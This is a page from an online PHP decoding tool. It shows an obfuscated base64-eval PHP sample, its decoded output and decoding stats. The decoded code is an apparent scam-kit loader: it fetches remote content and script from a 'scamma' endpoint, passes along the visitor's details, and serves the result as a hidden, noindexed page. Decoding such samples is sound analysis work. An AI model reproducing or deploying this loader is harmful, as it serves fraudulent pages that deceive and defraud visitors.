Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $host = "http://localhost:3000";eval(base64_decode('CiBnb3RvIFhBYUxqOyBMWXFuZDogJHNj..

Decoded Output download


 goto XAaLj; LYqnd: $script = file_get_contents("{$host}\57\163\x63\x61\155\x6d\x61\57{$scamma}\x3f\150\157\x73\x74\x3d{$host}\x26\141\x73\x73\145\x74\163\x3d\x72\x65\x61\x63\164\x2e\x6a\163\46\x6b\145\171\x3d{$key}\46\157\162\151\147\x69\156\75{$origin}", false, $context); goto JZl0a; l44xT: goto iQEoJ; goto pArzJ; m1hyj: OtxXO: goto XxgS0; y33d3: KzH50: goto VyQzE; g5dgf: goto QuY1U; goto y33d3; Owm5G: include_once "\x63\x6f\156\x66\x69\x67\x2e\160\x68\x70"; goto id64M; rJtxc: $content = file_get_contents("{$host}\57\163\143\141\x6d\155\141\57{$scamma}\77\x68\157\x73\x74\75{$host}\x26\x6b\145\171\x3d{$key}\x26\x6f\162\x69\x67\x69\x6e\x3d{$origin}", false, $context); goto l44xT; JZl0a: goto OtxXO; goto REq3f; uI63u: $context = stream_context_create(array("\150\164\x74\x70" => array("\x68\145\141\144\145\x72" => "\125\163\x65\x72\55\x41\x67\145\156\x74\72\40" . $_SERVER["\x48\x54\x54\x50\x5f\x55\x53\x45\122\x5f\x41\107\x45\116\124"]))); goto qETGR; oAoCL: QuY1U: goto yd2F2; guSG8: Nc1_N: goto Owm5G; KkTdi: iQEoJ: goto LYqnd; XAaLj: goto Nc1_N; goto m1hyj; id64M: goto KzH50; goto KkTdi; qETGR: goto veMwz; goto oAoCL; REq3f: veMwz: goto rJtxc; esJtB: goto FkYJo; goto guSG8; XxgS0: if (isset($content)) { ?>
<!doctypehtml><html><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><meta content="noindex, nofollow, noimageindex, noarchive, nocache, nosnippet"name="robots"><?php  echo $content; ?>
</head><body><div id="root"></div><script src="https://unpkg.com/react@18/umd/react.production.min.js"crossorigin></script><script src="https://unpkg.com/react-dom@18/umd/react-dom.production.min.js"crossorigin></script><script src="https://unpkg.com/babel-standalone@6/babel.min.js"></script><script src="<?php  echo $host; ?>
/functions.js"></script><script type="text/babel">const host = "<?php  echo $host; ?>
";
            const origin = "<?php  echo $origin; ?>
";
            const scammaid = "<?php  echo $scamma; ?>
".replace("/",":");
            const scammaid2 = "<?php  echo $scamma; ?>
";
            const titre = `<b>${(scammaid.split(":")[0]).toUpperCase()} ${(()=>{
                const s = scammaid.split(":")[1];
                if(s === "world") return "\u{1F30E}";
                else return  String.fromCodePoint(...(s.toUpperCase().split('').map(char => char.charCodeAt(0) + 127397)))
            })()}</b>`;<?php  echo $script; ?>
</script></body></html><?php  } else { echo "\72\50"; } goto g5dgf; VyQzE: $origin = (isset($_SERVER["\110\x54\124\x50\123"]) && $_SERVER["\110\x54\x54\120\123"] === "\x6f\156" ? "\x68\164\164\160\x73" : "\150\x74\x74\160") . "\72\57\x2f" . $_SERVER["\110\x54\124\120\x5f\x48\117\123\x54"]; goto esJtB; pArzJ: FkYJo: goto uI63u; yd2F2: 

Did this file decode correctly?

Original Code

<?php $host = "http://localhost:3000";eval(base64_decode('CiBnb3RvIFhBYUxqOyBMWXFuZDogJHNjcmlwdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJ7JGhvc3R9XDU3XDE2M1x4NjNceDYxXDE1NVx4NmRceDYxXDU3eyRzY2FtbWF9XHgzZlwxNTBcMTU3XHg3M1x4NzRceDNkeyRob3N0fVx4MjZcMTQxXHg3M1x4NzNcMTQ1XHg3NFwxNjNceDNkXHg3Mlx4NjVceDYxXHg2M1wxNjRceDJlXHg2YVwxNjNcNDZceDZiXDE0NVwxNzFceDNkeyRrZXl9XDQ2XDE1N1wxNjJcMTUxXDE0N1x4NjlcMTU2XDc1eyRvcmlnaW59IiwgZmFsc2UsICRjb250ZXh0KTsgZ290byBKWmwwYTsgbDQ0eFQ6IGdvdG8gaVFFb0o7IGdvdG8gcEFyeko7IG0xaHlqOiBPdHhYTzogZ290byBYeGdTMDsgeTMzZDM6IEt6SDUwOiBnb3RvIFZ5UXpFOyBnNWRnZjogZ290byBRdVkxVTsgZ290byB5MzNkMzsgT3dtNUc6IGluY2x1ZGVfb25jZSAiXHg2M1x4NmZcMTU2XHg2Nlx4NjlceDY3XHgyZVwxNjBceDY4XHg3MCI7IGdvdG8gaWQ2NE07IHJKdHhjOiAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJ7JGhvc3R9XDU3XDE2M1wxNDNcMTQxXHg2ZFwxNTVcMTQxXDU3eyRzY2FtbWF9XDc3XHg2OFwxNTdceDczXHg3NFw3NXskaG9zdH1ceDI2XHg2YlwxNDVcMTcxXHgzZHska2V5fVx4MjZceDZmXDE2Mlx4NjlceDY3XHg2OVx4NmVceDNkeyRvcmlnaW59IiwgZmFsc2UsICRjb250ZXh0KTsgZ290byBsNDR4VDsgSlpsMGE6IGdvdG8gT3R4WE87IGdvdG8gUkVxM2Y7IHVJNjN1OiAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgiXDE1MFwxNjRceDc0XHg3MCIgPT4gYXJyYXkoIlx4NjhcMTQ1XDE0MVwxNDRcMTQ1XHg3MiIgPT4gIlwxMjVcMTYzXHg2NVx4NzJcNTVceDQxXHg2N1wxNDVcMTU2XHg3NFw3Mlw0MCIgLiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU1XHg1M1x4NDVcMTIyXHg1Zlx4NDFcMTA3XHg0NVwxMTZcMTI0Il0pKSk7IGdvdG8gcUVUR1I7IG9Bb0NMOiBRdVkxVTogZ290byB5ZDJGMjsgZ3VTRzg6IE5jMV9OOiBnb3RvIE93bTVHOyBLa1RkaTogaVFFb0o6IGdvdG8gTFlxbmQ7IFhBYUxqOiBnb3RvIE5jMV9OOyBnb3RvIG0xaHlqOyBpZDY0TTogZ290byBLekg1MDsgZ290byBLa1RkaTsgcUVUR1I6IGdvdG8gdmVNd3o7IGdvdG8gb0FvQ0w7IFJFcTNmOiB2ZU13ejogZ290byBySnR4YzsgZXNKdEI6IGdvdG8gRmtZSm87IGdvdG8gZ3VTRzg7IFh4Z1MwOiBpZiAoaXNzZXQoJGNvbnRlbnQpKSB7ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjxtZXRhIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlPTEibmFtZT0idmlld3BvcnQiPjxtZXRhIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93LCBub2ltYWdlaW5kZXgsIG5vYXJjaGl2ZSwgbm9jYWNoZSwgbm9zbmlwcGV0Im5hbWU9InJvYm90cyI+PD9waHAgIGVjaG8gJGNvbnRlbnQ7ID8+CjwvaGVhZD48Ym9keT48ZGl2IGlkPSJyb290Ij48L2Rpdj48c2NyaXB0IHNyYz0iaHR0cHM6Ly91bnBrZy5jb20vcmVhY3RAMTgvdW1kL3JlYWN0LnByb2R1Y3Rpb24ubWluLmpzImNyb3Nzb3JpZ2luPjwvc2NyaXB0PjxzY3JpcHQgc3JjPSJodHRwczovL3VucGtnLmNvbS9yZWFjdC1kb21AMTgvdW1kL3JlYWN0LWRvbS5wcm9kdWN0aW9uLm1pbi5qcyJjcm9zc29yaWdpbj48L3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly91bnBrZy5jb20vYmFiZWwtc3RhbmRhbG9uZUA2L2JhYmVsLm1pbi5qcyI+PC9zY3JpcHQ+PHNjcmlwdCBzcmM9Ijw/cGhwICBlY2hvICRob3N0OyA/PgovZnVuY3Rpb25zLmpzIj48L3NjcmlwdD48c2NyaXB0IHR5cGU9InRleHQvYmFiZWwiPmNvbnN0IGhvc3QgPSAiPD9waHAgIGVjaG8gJGhvc3Q7ID8+CiI7CiAgICAgICAgICAgIGNvbnN0IG9yaWdpbiA9ICI8P3BocCAgZWNobyAkb3JpZ2luOyA/PgoiOwogICAgICAgICAgICBjb25zdCBzY2FtbWFpZCA9ICI8P3BocCAgZWNobyAkc2NhbW1hOyA/PgoiLnJlcGxhY2UoIi8iLCI6Iik7CiAgICAgICAgICAgIGNvbnN0IHNjYW1tYWlkMiA9ICI8P3BocCAgZWNobyAkc2NhbW1hOyA/PgoiOwogICAgICAgICAgICBjb25zdCB0aXRyZSA9IGA8Yj4keyhzY2FtbWFpZC5zcGxpdCgiOiIpWzBdKS50b1VwcGVyQ2FzZSgpfSAkeygoKT0+ewogICAgICAgICAgICAgICAgY29uc3QgcyA9IHNjYW1tYWlkLnNwbGl0KCI6IilbMV07CiAgICAgICAgICAgICAgICBpZihzID09PSAid29ybGQiKSByZXR1cm4gIlx1ezFGMzBFfSI7CiAgICAgICAgICAgICAgICBlbHNlIHJldHVybiAgU3RyaW5nLmZyb21Db2RlUG9pbnQoLi4uKHMudG9VcHBlckNhc2UoKS5zcGxpdCgnJykubWFwKGNoYXIgPT4gY2hhci5jaGFyQ29kZUF0KDApICsgMTI3Mzk3KSkpCiAgICAgICAgICAgIH0pKCl9PC9iPmA7PD9waHAgIGVjaG8gJHNjcmlwdDsgPz4KPC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD48P3BocCAgfSBlbHNlIHsgZWNobyAiXDcyXDUwIjsgfSBnb3RvIGc1ZGdmOyBWeVF6RTogJG9yaWdpbiA9IChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMjMiXSkgJiYgJF9TRVJWRVJbIlwxMTBceDU0XHg1NFwxMjBcMTIzIl0gPT09ICJceDZmXDE1NiIgPyAiXHg2OFwxNjRcMTY0XDE2MFx4NzMiIDogIlwxNTBceDc0XHg3NFwxNjAiKSAuICJcNzJcNTdceDJmIiAuICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1Zlx4NDhcMTE3XDEyM1x4NTQiXTsgZ290byBlc0p0QjsgcEFyeko6IEZrWUpvOiBnb3RvIHVJNjN1OyB5ZDJGMjog'));

Function Calls

base64_decode 1

Variables

$host http://localhost:3000

Stats

MD5 3ec624c538b789bbf1710cfd0a368bfc
Eval Count 1
Decode Time 75 ms